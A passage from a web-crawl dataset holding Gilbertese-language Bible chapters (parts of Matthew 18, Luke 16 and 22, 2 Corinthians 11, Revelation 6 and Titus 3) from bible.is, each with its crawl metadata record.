ngkanne Betero iroun Iesu ao e taku, Te Uea, mwaitira ana tai ni bure tariu nakoiu ae N na kabwaraa ana bure iai? Itiua te tai? 22E taku Iesu nakoina, I aki taku nakoim bwa itiua te tai, ma itibwi mwaitin itiua. 23Bwa uean te Atua e a konaa ni kabootauaki ma te uea are e kani kaeti mwiin ana bwai ma ana toro, ake iai mwiokoaia aika a abwaabwaki riki nakoia raoia n toro nako. 24Ngke e moana ana kaeti-bwai, ao e kairaki nakoina temanna ae e riai bwa e na anganna tebwina tengaa te taarena 25ao ibukina ngke e aki konaa ni kabwakaa, ao e tua te uea bwa e na kabooaki nako ma buuna ma natina ma ana bwai ni kabane ake iai irouna, bwa e aonga n reke booni mwiin are e aki konaa ni kabwakaa. 26Ma ngaia are e bwaka ni bobaraaki ni katorobubua te toro arei ni karinea, ao e buubutiia ni kaangai, Te uea, ko na taona nanom bwa ae N na bon anganiko am bwai ni kabane. 27Ao te uea e nanoanga ana toro arei, ma ngaia are e kanakoa, 28Ao te toro aei, ngke e nako, ao e kaaitibo ma raona n toro temanna ae iai ana taarau irouna ae mwaitina tebubua te tenari; ao e tauua ni koona roroana, ao e taku, Kamai kabwaraan am taarau irou. 29Ao raona n toro e bwaka ni katorobubua, ao e buubutiia ni kaangai, Ko na taona nanom bwa ae N na bon anganiko. 30Ma e rawa; ao e nako ni kaaki teuarei n te karabuuti bwa e na tiku iai ni karokoa e bane ni kabwaraa ana taarau. 31Ngke a noora te baere e riki uaake raona n toro, ao a rangi ni kuba ma ni miimii iai, ao a nako n tuanga aia uea taekani bwaai ni kabane ake a karaoaki. 32Ao e weteia ana uea, ao e taku nakoina, Te toro ae ko buaakaka! I kamaunai am taarau ni kabane ake iai irou ibukina ngke ko butiai; 33ao tiaki bwa ko riai n nanoanga raom n toro, n ai arou ngke I nanoangaiko? 34Ao e un ana uea, ao e anga te toro arei nakoia taani kammaraki n te karabuuti bwa e na mena irouia ni karokoa e bane ni kabwaraa ana taarau. 35Ao anne naba aron are E na karaoia nakoimi Tamau are i karawa ngkana kam aki kabwaraa aia bure tarimi mai nanomi.\nMATAIO 18","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/18","date":"2014-03-09T05:12:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999673147\/warc\/CC-MAIN-20140305060753-00075-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":991,"character_repetition_ratio":0.048,"word_repetition_ratio":0.01,"special_characters_ratio":0.237,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E taku naba Iesu nakoia ana reirei, Iai ngkoa te aomata ae e kaubwai, ae iai ana manatia; ao e uotaki taekan te manatia arei nakoina bwa e bakataei ana bwai. 2Ao e weteia ao e taku nakoina, Tera taekam aei, ae I ongo? Kaoti nakoiu mwiin am mwakuri ni manatia, bwa ko na aki manga manatia. 3Ao e taku te manatia i nanona, Tera ae N nang karaoia, bwa ae e a anaaki mai irou te nakoa ni manatia iroun au mataniwi? E aki tau korakorau ni keniken, ao I mamaa ni buubuti. 4E a tia au baaire n te bae N nang karaoia, bwa a aonga aomata ni butimwaaeai nakoni mwengaia n te tai are I kabaneaki iai man nakoau ni manatia. 5Ao e weteia aomata n tatabemaniia nako ake a taarau iroun ana mataniwi, ao e taku nakon are te moa n aomata, Iraua am taarau iroun au mataniwi? 6Ao ngaia e kaangai, Tebubua te bwai ni baaire ni bwa. Ao e taku te manatia nakoina, Ko na anaa beebwan am taarau, ao kawaekoako tekateka ao korea nimabwi. 7Ao e taku nakon are temanna, Ao iraua am taarau? Ao ngaia e kaangai, Tebubua te bwai ni baaire n uiita. E taku te manatia nakoina, Ko na anaa beebwan am taarau, ao korea wanibwi. 8Ao te mataniwi, e kamoamoaa te manatia are e aki bwaina te eti ibukin iangoraoina; bwa a wanawana riki natin te aonnaba aei n aroia n reitaki ma aia roro nakoia natin te oota. 9Ao I taku nakoimi, Kaboongana i kaubwaimi aika bwain te maiu aei bwa bwaini karekeaia raomi; ao ngkana a bane, ao ane kam na mwaneaki n aakoaki ni nne ni maeka ake a aki maamauna. 10Ane e kakaonimaki n ane moan te uarereke, ao e kakaonimaki naba n ane moan te abwaabwaki; ao ane e aki bwaina te eti n ane moan te uarereke, ao e aki bwaina naba te eti n ane moan te abwaabwaki. 11Ngkana arona bwa kam aki kakaonimaki nakoni kaubwain te maiu aei, ao antai ae e na mwiokoi kaubwai ni koaua iroumi? 12Ao ngkana kam aki kakaonimaki nakon are ana bwai te aomata temanna, ao antai ae e na anganingkami baike bon ami bwai? 13Akea te toro ae e konaa n toro irouia uoman mataniwi; bwa ane e na ribaa temanna, ao e na tangira temanna, ke e na rangi n reitaki ma temanna, ao e a kaakeaa boonganan are temanna. Kam aki konaa n toro iroun te Atua ma kaubwain te maiu aei. 14A ongo baikekei ni kabane Bwaritaio ake a baki mwane, ao a kakanikoa Iesu. 15Ma E taku nakoia, Ngkami aika kam karaoiroingkami i mataia aomata, ma E atai nanomi te Atua; bwa te bwai ae e kakannato irouia aomata ao bon te bwai ae e ribaaki i matan te Atua. 16A teimatoa boonganan taeka ake a koreaki n te Tua ma aia boki buraabeti ni karokoa kaotin Ioane are te tia Bwaabetito; ao man te tai arei, ao e tataekinaki te rongorongo ae e raoiroi ae taekan uean te Atua, ao a bane aomata ni kakorakoraia n rin iai. 17Ma e kai mauna riki karawa ma aonnaba, nakon ae e na mauna boonganan teuana manin taekan te tua. 18Ane e raure ma buuna ao e a manga buuna te aine temanna, ao e wene ni bure iai; ao ane e buuna neiere raure ma buuna, ao e wene ni bure iai. 19Temanna te aomata ngkoa ae e kaubwai, ae e kunnikainna ni kunnikai aika bo buaka aika uraroo ao a mainaina, ao e kukukurei n amwaamwarake raoi n te bong ae koraki. 20Ao te aomata temanna ae arana Rataro, ae akea ana bwai, ae e kiaraki rabwatana n te kaboa, e kaweneaki i rarikini mataroan oon ana auti teuare e kaubwai, 21ao e kani kaamwarakeaki man taamrurun amwarake ake a bwaka man ana taibora n amwarake teuare e kaubwai; ao a roko kamea n newenewei kaboana. 22E mate teuare akea ana bwai ao e uotaki irouia anera nako rarikin Aberaam. E mate naba teuare e kaubwai ao e taunaki; 23ao ni menana i Eriti, ngke e taonaki n te maraki ae e korakora, ao e tararake; ao e noora Aberaam bwa e mena i kiiraroa ma Rataro i rarikina. 24Ao e weteia ni kaangai, Tamau ae Aberaam, ko na nanoangai, ao kanakomaia Rataro bwa e na kateboa taboni baina n te ran ao e na kamwaitoroa neweu, bwa I kainnano ni maraki n uran te ai aei. 25Ma e taku Aberaam, Natiu, ko na uringnga bwa ngkoe n am tai ni maiu ao a rereke nakoim baika a raraoi, ma Rataro e rereke irouna baika a buaakaka; ma ngkai, e a reke irouna raun nanona ikai, ao ngkoe ko kainnano ni maraki. 26Ma tiaki ti aei, bwa iai te kamwanono ae e nano ao e raababa ae e mena i marenara, n te aro bwa akea ae e na konaa ni mwananga maikai nakoim, ao maikanne nakoira. 27Ao ngaia e taku, Ngkana ngaia anne ao I a butiiko, tamau ae Aberaam bwa ko na kanakoa Rataro nakon ana auti tamau, 28bwa iai niiman tariu, ao e na angania te taeka ni katauraoi bwa a aonga n aki roko n te tabo ae e kammaraki aei. 29Ma e taku Aberaam, Iai irouia ana boki Mote ao aia boki buraabeti a riai n ongo ao n ongeaaba nakoni baike a koreaki i nanoia. 30Ao ngaia e kaangai, Tamau ae Aberaam, tiaki; ma ngkana iai mai buakoia maate ae e nako ni kawariia, ao ane a na rairi nanoia iai. 31Ao e taku Aberaam nakoina, Ngkana a aki ongo n taeka ake a koreaki n ana boki Mote ma aia boki buraabeti, ao a na bon aki anaaki naba nanoia ngkana tao e kaoti temanna mai buakoia maate.\nRUKA 16","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/16","date":"2014-03-09T06:34:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999674642\/warc\/CC-MAIN-20140305060754-00058-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":966,"character_repetition_ratio":0.048,"word_repetition_ratio":0.006,"special_characters_ratio":0.232,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E a kaan tain te Toa are te Berena are e aki Karikaki are e aranaki bwa te Riao. 2Ao mataniwia ibonga ma taani koroboki, a ukoukora aroni kamatean Iesu n te aro ni karaba; bwa a maakuia aomata. 3Ao e rin Tatan i nanon Iuta are arana teuana Itekariota, are temanna i buakoia uaake tengauni ma uoman. 4E nako ni kaboowi ma ibonga ake mataniwi ma aia mataniwi bureitiman n te umwantabu bwa e na iraanna ni kamwanea Iesu nakoia. 5Ao ngaiia a rangi ni kukurei, ao a berita bwa a na anganna te mwane. 6Ao e kariai aia taeka, ao e ukoukora te tai are e na kamwanea iai Iesu nakoia ngkana akea aomata. 7Ao e roko bongin te Toa are te Berena are e aki Karikaki, are e riai bwa e na kamateaki iai te tiibuteteei are bwain te Toa are te Riao. 8Ma ngaia are E kanakoia Betero ma Ioane Iesu, ao E kaangai, Kam na nako ni katauraoa amwaraken te Toa are te Riao i bukira, bwa ti na kanna. 9A taku nakoina, E ngaa te tabo ae ti na katauraoia iai? 10Ao Ngaia E kaangai nakoia, Noria, ngkana kam rin n te kaawa, ao ane kam na kaaitibo ma te aomata ae e uota nnen te ran; kam na iria nako nanon te auti ane e na rin iai, 11ao tuanga teuare ana auti te auti, ni kaangai, E taku te Tia Reirei nakoim, E ngaa te ru n iruwa, ae N na kana iai amwaraken te Toa are te Riao ma au reirei? 12Ao ane e na kaota nakoimi te ru ae e mena i eta ae e buubura ae e toamau bwain nanona; kam na katauraoi iai. 13Ao a nako, ao a noori baike E taekin nakoia bwa a koaua; ao a katauraoi bwain te Toa are te Riao. 14Ao ngke e a roko tain te amwarake, ao E tekateka Iesu, ao raona taan tuatua. 15Ao E taku nakoia, E a kaman kariaria nanou ni kani kana amwaraken te Toa aei ma ngkami i mwaain ae e roko irou te karawaawataaki ae N na mate iai; 16bwa I taku nakoimi, bwa N na aki manga amwarake n aei ni karokoa te tai are e kakoroaki nanona iai n uean te Atua. 17Ao E anaa te mwangko, ao ngke E tia n tataro ni katituaraoi, ao E kaangai, Anaa aei, ao katoaingkami n ibuobuoki ni mooi iai; 18bwa I taku nakoimi bwa N na aki manga mooi i mwiin ngkai n te wain ni karokoa rokon uean te Atua. 19Ao E anaa te berena, ao ngke E tia n tataro ni katituaraoi, ao E urua ao E anganiia ana reirei, ao E kaangai, Rabwatau aei ae I anga i bukimi, Karaoa aei bwa kanuringau. 20Ao E anaa naba te mwangko i mwiin te amwarake ao E karaoa naba are E karaoia ngke E anaa te berena, ao i mwiina E kaangai, Te mwangko aei te booraraoi ae e boou i nanon raraau, ae e kawaawaaeaki i bukimi. 21Ao nooria, e mena bain teuae nang kamwaneai ma baiu i aon te taibora. 22Bwa E na waaki nako Natin te Aomata nakoni kawaina are katauana; ma e na reke kain te aomata are E kamwaneaki irouna! 23Ao a i titiraki irouia bwa ai antai i buakoia ae nang karaoa te baerei. 24Ao e riki te kauntaeka i buakoia bwa antai irouia ae e na atongaki bwa moan te kakannato. 25Ao E taku Iesu nakoia, A tautaekanaki bootanaomata nako irouia aia uea; ao akana tautaeka, a tangiriia aomata bwa a na atongiia bwa a akoi. 26Ma kam na aki kakairi irouia: ma ane moan te kakannato iroumi, ao ke e riki bwa kaanga te kabanea n ataei; ao te mataniwi, ke e riki bwa te toro. 27Bwa e ngaa ae e kakannato riki, ane e tekateka n amwarake, ke ane e karaoa ana mwakuri te toro? Ao Ngai I mena i buakomi n ai aron te toro. 28Ngkami ake kam a tia ni meemena i rarikiu i nanon taai ake I kariiriiiaki iai; 29ao n aron Tamau ngkae E a tia n anganai te konaa n tautaeka, ao Ngai N na anganingkami naba te konaa anne; 30bwa kam aonga n amwarake ma ni mooi n au taibora n ueau, ao n tekateka i aoni kaintokanuea bwa kam na motiki-taekaia aia baronga Iteraera ake tengauni ma ua baronga. 31Timon, Timon, nooria, e a tia n anganaki Tatan te kariaiakaki bwa e na kairingkami nakon te kariiriiaki, 32ma I a tia n tataro i bukim bwa e na aki bua am onimaki; ao ngkana ko a manga rairaki, ao ko na kateimatoaia tarim. 33Ao e taku Betero nakoina, Te Uea, I tauraoi n iriko nakon te kabureaki ao te mate. 34Ao Ngaia E kaangai, I tuangko Betero, bwa e na aki tangi te moa n te bong aei, ni karokoa ko katenua te tai am taeka n rawa bwa ko kinai. 35Ao E taku nakoia, Ngke I kanakoingkami ma akea ami bwauti-n-mwane ao akea nnen ami bwai ma ami kauniwae, iai te bwai ae kam kainnanoia ae e aki reke iroumi? Ao ngaiia, a kaangai, Akea. 36Ao E taku nakoia, Ma ngkai, ane iai anabwauti-ni-mwane ao ke e uotia, ao ai arona naba ma nnen ami bwai. Ao ane akea ana kabaang ao ke e kabooa nako kunnikaina ni karekea te kabaang iai. 37Bwa I taku nakoimi bwa e riai bwa a na kakoroaki irou bukin taeka ake a koreaki ake a kaangai, Ao E warekaki i buakoia taani bure; bwa baika a koreaki bwa taekau, a na boni bane ni koro bukiia. 38Ao ngaiia a kaangai, Te Uea, nooria, aikai kabaang aika uaai. Ao Ngaia E taku nakoia, E a tau. 39Ao E oti nako Iesu, ao E nako n te maunga are Oriweta, n aron are E tataneiai iai ni kaakaraoia; ao a iria ana reirei. 40Ngke E roko iai, ao E taku nakoia, Kam na tataro bwa kam aonga n aki bwaka nakon te kariiriiaki. 41Ao E kamwaawaa mai irouia n te raroa ae tao e roko iai te atiibu ngkana e kareaki, ao E katorobubua n tataro, ao E kaangai, 42Tamau, ngkana e riai iroum, ao Ko na kararoaa mai irou te rawaawata ni maraki ae N nang taonaki iai; ma tiaki nanou ae e na karaoaki, ma e na karaoaki nanom. 43Ao e kaoti te anera mai karawa nakoina, ao e kakorakora. 44Ngke E taonaki n te rawaawata ae e bati, ao E a kakorakoraa riki n tataro; ao maonona, a riki bwa kaanga ai aron timtim n raraa aika buubura aika waa nako ni bwaka i aontano. 45Ao E tei rake ngke E tia n tataro, ao E kawariia ana reirei, ao E nooriia bwa a matuu bwa mwiin taonakiia n te nanokaawaki ae e bati; 46ao E taku nakoia, E aera ngkai kam matuu? Tei rake, ao tataro, bwa kam na aki bwaka nakon te kariiriiaki. 47Ngke E tabe n taetae Iesu, ao nooria, a roko aomata aika bati, aika kairaki iroun teuare e aranaki bwa Iuta, are temanna i buakoia uaake tengauni ma uoman. E nako ni kaania Iesu bwa e na kamauria ni kiitinna. 48Ma E taku Iesu nakoina, Iuta, ko na kamwanea Natin te Aomata n te kiiti ni kamauri? 49Ngke a noora te baere e nangi riki ana reirei, ao a kaangai, Te Uea, ti a un ma te kabaang? 50Ao temanna i buakoia uaakekei, e orea ana toro mataniwia ibonga, ao e korea taningana, are mai ataina ni kabwakaa. 51Ma E taku Iesu, Katokia, akea riki ae e na riki n ai aron aei! Ao E riinga taningana, ao E kamaiua. 52Ao E kaekaia ibonga ake a kakannato ma mataniwiia bureitimanin te umwantabu, ma unimwaane ake a roko bwa a na tauua, ni kaangai, Kam oti nako n nako mai ma kabaang ao kaai n oro, bwa kam na tauai bwa kaanga te tia kamwarua Ngai? 53Ngke I meemena ma ngkami n te bong ae koraki n te umwantabu, ao kam aki tauai. Ma e a bo ami tai ngkai, ae ana tai naba teuare e buaakaka are uean te roo. 54Ao a tauua ngkanne Iesu, ao a kairia nako, ni karokoa n ana auti mataniwiia ibonga. E ririmwi Betero n taua raroana. 55Ngke a a tia ni kauraa te ai i nuukan te auti n te tabo are e aki bono aona, ao a tekateka ni bootaki, ao e tekateka naba Betero bwa raoia. 56Ao e nooria te teinaine temanna ngke e tekateka ike e oota iai n uran te ai, ao e tarataraia, ao e taku, Te aomata aei e meemena naba iroun Teuarei. 57Ma e kakewea Betero, ao e taku, Neiko, I aki kinaa. 58Ao e aki maan i mwiina, ao e a manga nooria temanna te mwaane ao e taku, Bon raoia naba uaakekei ngkoe. Ma e kaeka Betero ao e taku, Nao, tiaki. 59Ao tao teuana te aoa i mwiina, ao e kamatoaa bwanaana te aomata temanna ni kaangai, Bon te koaua bwa te aomata aei e meemena iroun Teuarei; bwa te I-Kariraia. 60Ma e taku Betero, Nao, I aki ataa te baene ko taekinna. Ao n te tai naba arei, ngke e tabe n taetae, ao e tangi te moa. 61Ao E rairaki te Uea, ao E taraa Betero. Ao Betero, e uringa ana taeka te Uea, ngke E kaangai nakoina, I mwaain tangin te moa n te bong aei, ao ane ko na katenua kaakeaau. 62Ao e oti nako Betero, ao e tangi ni kaotia bwa e rangi n uruaki nanona. 63Ao aomata ake a tauua Iesu, a kakanikoa, ao a oreia; 64a kabaei naba matana n rabunii, ao a titirakinna, ni kaangai, Kaotia; antai ae e oreiko? 65Ao a atongi bwaai riki aika bati n ekia nako iai. 66Ngke e a ngaina, ao a bootaki aia unimwaane aomata ma aia mataniwi ibonga ao taani koroboki; ao a kaira Iesu nakon aia kaboowi, ao a kaangai. 67Ngkana te Kristo Ngkoe, ao Ko na tuangiira. Ma E taku nakoia, Ngkana I tuangkami, ao kam aki kakoauaai; 68ao ngkana I titirakiningkami, ao kam aki kaekaai. 69Ma ni moa ma ngkai ao ane E na tekateka Natin te Aomata i angaatain te Atua are e Mwaaka. 70Ao a bane ni kaangai, Natin te Atua Ngkoe, ngkanne? Ao E kaekaia, ni kaangai, Kam taku ngkami bwa Ngaia Ngai. 71Ao a taku, Tera te kakoaua ae ti na tangiria riki? Bwa ngaira ti a bon tia n ongo mai wina!\nRUKA 22","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/22","date":"2014-03-11T22:38:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011335666\/warc\/CC-MAIN-20140305092215-00085-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1747,"character_repetition_ratio":0.048,"word_repetition_ratio":0.007,"special_characters_ratio":0.247,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam bia taon nanomi nakon nanobabau ae teutana; kam na bon taon nanomi nakoiu. 2Bwa e rangi ni korakora nanou n tauaninne iroumi n ai aroni korakoran nanon te Atua; ai aron te ateiaine ae e itiaki ngkami ae I kainroua ma te mwaane ae ti temanna, are boni Kristo. 3Ma I maaku bwa a kaawa n anaaki nanomi, n ai aron Nei Ewa ngke e mwaamwanaaki n nanowanawanan te naeta, ao kam kiitana aromi n reitaki ma Kristo ae e nako raoi ma n itiaki. 4Bwa ngkana e roko temanna iroumi n taekina Iesu riki temanna are tiaki Ngaia are ti taekinna, ke ngkana kam anganaki te Taamnei ae e kaokoro ae tiaki Ngaia are kam anganaki, ke te euangkerio are tiaki naba ngaia are kam anganaki, ao kam konamaki n taotaon nanomi nakoina. 5Bwa I taku bwa I bon aki mangori riki nakoia te koraki akana kam atongiia bwa taan tuatua aika akea n ai aroia. 6Bwa ngkana tao I bangabwai n te aro n taetae, ma I aki n te ataibwai, ti a tia n aaro nako ao ni bwaai ni kabane ni kaoti arora aikai nakoimi. 7Ke e bure are I karaoia n arou ni karinanoai bwa kam aonga ni karietaataaki ngke I taekina ana euangkerio te Atua n aki kabooa nakoimi? 8Kanga aron ae I kuribwaia ekaretia tabeua ngke I anaa bon au mwakuri mai irouia i bukimi. 9Ngke I mena iroumi ao I bon aki karawaawata temanna ngkana iai te bwai ae I kainnanoia: bwa te bae I kainnanoia e a reke mai irouia taari ake a nako mai Mwaketonia. I a tia ni kaawakinai bwa N na aki riki bwa te bwai ni karawaawata ngai nakoimi ni bwaai ni kabane, ao N na manga boni kaawakinai naba maiai. 10Ngkai iai irou te koaua are mai irouni Kristo, ao I kakoauaa bwa e na bon aki katokaki kamoamoaau aei mai irou n te aba are Akaia. 11Ao bwa e aera? I bukina bwa I aki tangiringkami? E ataia te Atua. 12Ma ae I karaoia ao N na boni karaoia naba, bwa I aonga ni katoki wiia te koraki ake a taku bwa n aia mwakuri are a kamoamoaia iai ao bon ti te bo aroia ni mwakuri ma arora. 13Bwa te koraki akanne bon taan tuatua ni kewe, aika taani mwaamwanaa-te-aba n aia mwakuri, ao a onikiia bwa aongkoa ana taan tuatua Kristo. 14Akea te bae e kamiimii iai, bwa aio naba aron Tatan: e konaa n onikia bwa aongkoa te anera ae e raneanea taraana. 15Ma ngaia ae tiaki te bwai ae e na iruwa te aba iai ngkana a onikiia naba taani mwakuri ibukin Tatan bwa kaanga taani mwakuri ibukini karaoan nanon te Atua; ao tokiia, a na karekea booni mwiin aia mwakuri. 16I kaoka are I a tia n taku, Ke e tai taku temanna bwa I baba; ao ngkana kam taku bwa I baba, ao kam na ongoraa irou ngkai kaanga I baba, bwa N na kamoamoaai naba teutana. 17Te bae I atongnga ao I aki atongnga n ai aron nanon te Uea, ma I atongnga bwa kaanga te taetae ni baba n te aro ni kamoamoa aei. 18Ngkai a kamoamoaiia aomata aika a bati ibukin nanoia n aomata ao ngai N na kamoamoaai naba. 19Bwa kam kukurei n taon nanomi nakoia akana a nanobaba, ngkai kam wanawana! 20Bwa kam taon nanomi ngkana e toroningkami temanna, ngkana e kuribwaingkami temanna, ngkana e kamwaneingkami temanna, ngkana e kaakeaa boonganami temanna, ao ngkana e oroubuingkami temanna. 21I maamaa n taekinna bwa ti a tia ni mamaara nakoni karaoani baikanne; ma ngkana iai te baene e ninikoria iai te aomata, I taetae ni baba, ao I ninikoria naba ngai. 22Ebera uaakekei? Ngai naba. Iteraera uaakekei? Ngai naba. Kanoan Aberaam uaakekei? Ngai naba. 23Ana taani mwakuri Kristo uaakekei? I taetae n ai aron ae e baba: i aoia riki ngai; bwa I mwakuri korakora riki nakoia, a bati riki au tai ni kabureaki, a bati riki au tai ni kataereaki, ao a bati riki au tai ae e kaani mateu iai. 24Nimaua te tai kataereau ni kaiu aika tenibwi ma ruaiwa irouia I-Iutaia; 25Tenua kataereau n taiani kai, teuana karebanaau n taian atiibu, tenua au tai are I toka iai i aoni kaibuke ao a uruaki ngke a koro, ao I kabanea teuana te bong ao teuana te ngaina ni mena i nanoni marawa. 26Ni mwamwanangau aika a bati ao I kaaitara ma kaangaanga aika a I kuri ni kabuanibwai iai, aika kaangaanga man taiani karaanga, mai irouia taani kamwarua, mai irouia au bootanaomata, mai irouia aomata aika a tiaki I-Iutaia, man te kaawa, i nanon te rereua, i marawa, mai irouia taari ni kewe; 27ao kaangaanga naba man te mwakuri ae e kakua, te aki-mamatuu n tairiki aika a bati, te baki ma te taka, te aki-mamatam i nanon taai aika a bati, te mariri, ao aki tauni mwaitini kunnikaiu i aou. 28Ao raoni bwaai aika a I aki kan taekin bon tabeaiangan nanou ae e korakora n te bong ae koraki i bukiia taian ekaretia ni kabaneia. 29Antai ae e mamaara, ao I aki mamaara? Antai ae e kabwakaaki nakon te bure, ao e aki maraki nanou iai? 30Ngkana e riai irou bwa N na kamoamoaai, ao N na kamoamoaai ni baika a na kaota mamaarau. 31E ataai bwa I aki kewe te Atua ae Taman ara Uea are Iesu, are ana bwai te neboaki n aki toki. 32I Taamateko, ao e kateiia temwaangina te tia tau-taeka are i aan te uea are Areta bwa a na tantani i rarikini mataroani kawai n rin n aia kaawa I-Taamateko, bwa a na tauai; 33ma I nnaaki rikaaki n te bwaene ni kaotinakoaki ri nanoni wintoon te nono, ao I a maiu mai irouna.\n2 KORINTO 11","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11","date":"2014-03-11T11:16:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011179079\/warc\/CC-MAIN-20140305091939-00092-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":961,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I noora te Tiibuteteei ngke E kaaki te bwai ni kanim ae te kanikina are teuana mai buakoni bwaai ni kanim ake itiua, ao I ongo bwanaan temanna mai buakoia baike a maiu ake aman ngke e kaangai, Mai! ao kaanga ai aron rebwen te bwa bwanaana. 2Ao I taratara nako, ao nooria, te aoti ae e mainaina! Ao teuare e toka i aona iai te kai ni katebe irouna. Ao e anganaki te baunuea; ao e tokara ana aoti n nako bwa ai aron te tia buaka ae e tokanikai. 3Ngke E kaaki te bwai ni kanim are te kanikina are te kauoua, ao I ongo bwanaan te baere e maiu are te kauoman bwa e kaangai, Mai. 4Ao e oti nako te aoti temanna, ae e uraura; ao e anganaki teuare e toka i aona te konaa ni karokoa te buaka i aon te aba, bwa a na i kamaamate aomata; ao e anganaki te kabaang ae e abwaabwaki. 5Ao ngke E kaaki te bwai ni kanim are te kanikina are te kateniua, ao I ongo bwanaan te baere e maiu are te kateniman bwa e kaangai, Mai. Ao I taratara nako, ao nooria, te aoti ae e roroo! Ao teuare e toka i aona, iai te bwai n tau-rawaawata i nanoni baina. 6Ao I ongo te bae kaanga ai aron te bwanaa mai buakoia baike a maiu ake aman bwa e kaangai, Boon uoua te rawaawata n uiita teuana te tenari, ao onoua te rawaawata ni bware teuana te tenari; ao ko na tai bwainikiriina te bwa ma te wain! 7Ao ngke E kaaki te bwai ni kanim are te kanikina are te kaaua, ao I ongo bwanaan te baere e maiu are te kaaman bwa e kaangai, Mai. 8Ao I taratara nako, ao nooria, te aoti ae e maii! Ao aran teuare e toka i aona te Mate; ao e ririmwiiaki iroun Eriti. A a anganaki te tauu taekani kaa mwakoron aonnaba, bwa a na kamateia aomata n te kabaang, ao n te rongo, ao n te aoraki ae e kamaamate, ao irouia manin aonnaba aika a kaakang. 9Ao ngke E kaaki te bwai ni kanim are te kanikina are te kanimaua, ao I nooriia aomataia ni koaua te koraki ake a kamateaki ngkoa ibukin ana taeka te Atua, ao ibukin naba aroia ni kakaonimaki n tataekina ana taeka te Atua; 10ao a takaarua n te bwanaa ae e korakora, ao a kaangai, Te Toka ae Ko tabu ao Ko koaua, ai ti maan ra riki ao Ko a motiki-taekaia aomata aika a maeka i aon te aba, ma n iri taangara ibukina ngke a kamateira? 11Ao a bane n anganaki kunnikai aika a mwarairai aika a mainaina; ao a tuangaki bwa a na motirawa ni katoki kuaia ni kamaaniia teutana, ni karokoa ae e koro raoi mwaitiia raoia n toro ma tariia ake a nang kamateaki n ai aroia naba. 12Ao I mataku ngke E kaaki te bwai ni kanim are te kanikina are te kaonoua, ao nooria, mwaeiein te aba, ae te mwaeiei ae e korakora! Ao e riki n roro taai, kaanga ai aron te kunnikai ae e mangaingai ae e roro, ao matan namwakaina ae e bwanin e riki n ai aron te raraa taraana; 13a bwaka i aontano itoini karawa, n ai aron te biiku ngkana e kabwakai uaana aika a tuai n tawa, ngkana e ioioaki n te ang ae e korakora. 14E mauna nako karawa n ai aron te niira ni boki ngkana e niiniiraki; ao a bane ni kamwaeaki nako maunga ma abamwakoro mani nneia; 15ao uean aonnaba, ma ake a kakannato, ma ake mataniwi n taanga ni buaka, ma ake a kaubwai, ma ake a korakora, ma tooro ni kabaneia, ma inaomata ni kabaneia, a karabaiia i nanoni bwanganimatang ao i buakon atiibu aika a totooa i aoni maunga; 16ao a kaangai nakoni maunga ma atiibu, Kam na bwakarira, ao kam na karabaira mai matan Teuare e tekateka i aon te kaintokanuea, ao man unin te Tiibuteteei: 17bwa e a roko te Bong are e kakamaaku are bongin unna, ao ai antai ae e konaa n tei i mwaaina?\nTE KAOTIOTI 6","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/6","date":"2014-03-12T04:53:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021342244\/warc\/CC-MAIN-20140305120902-00015-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":695,"character_repetition_ratio":0.09,"word_repetition_ratio":0.047,"special_characters_ratio":0.235,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na kauringia am aomata bwa a na aan-taeka irouia ueea ma taan tau-taeka, ao a na ongeaaba ma n tauraoi nakoni karaoani mwakuri aika a raraoi ni kabane; 2a na tai taetae ni kabuaakaka temanna, a na tai unun, a na taotaon nanoia, a na kaota te aro n nimamannei ni kabanea nakoia aomata ni kabaneia. 3Bwa ti bon nanobaba naba ngaira ngkoa, ao ti aki ongeaaba; ti burebureaki ao ti toronaki n naano nako ni kaibwabwaru ma baika ti na kakukureiaki iai ni kabane ara bongi ni maiu, ni karaoan te buaakaka ma bwainan te bakantang; ao ti ribaaki irouia aomata, ao ngaira ti ribaia aomata. 